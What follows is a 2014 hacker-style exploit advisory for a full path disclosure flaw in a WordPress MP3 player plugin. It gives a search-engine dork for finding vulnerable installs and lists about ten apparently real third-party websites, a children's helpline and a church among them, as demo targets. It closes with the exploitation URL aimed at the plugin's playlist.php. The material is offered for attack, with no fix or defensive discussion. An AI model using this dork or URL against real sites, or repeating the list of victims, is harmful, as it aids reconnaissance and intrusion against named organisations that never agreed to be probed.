WordPress - (Html5 Mp3 Player with Playlist) Plugin <= Full Path Disclosure

~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[~] Contact : knockout@e-mail.com.tr
[~] HomePage : http://h4x0resec.blogspot.com
[~] Greetz :  Septemb0x , BARCOD3 , _UnDeRTaKeR_ , BackDoor, DaiMon, PRoMaX, ZoRLu
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|~App. : WordPress - (html5-mp3-player-with-playlist) Plugin
|~Software: https://wordpress.org/plugins/html5-mp3-player-with-playlist/
|~Software: https://github.com/wp-plugins/html5-mp3-player-with-playlist/tree/master/html5plus
|~Vulnerability Style : FULL PATH DISCLOSURE
|[~]Date : "26.11.2014"
|[~]Tested on : Kali Linux, Windows 7
|DORK: inurl:html5plus/html5full.php
~~~~~~~~~~~~~~~~[~]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| DEMO :
http://childhelpline.org.kh
http://falkopingstrumkar.se
http://groupe-komett.com
http://www.nethinimnet.com
http://vedanet.com
http://auricle.org.nz
http://www.miguelguldimann.com
http://cp2.leos.co.il/~yossimoadi/
http://www.ambedkaritepartyofindia.org
http://www.zionchurchmillersville.com
etc..
==============[Exploitation]===============================

http://[VICTIM]/wp-content/plugins/html5-mp3-player-with-playlist/html5plus/playlist.php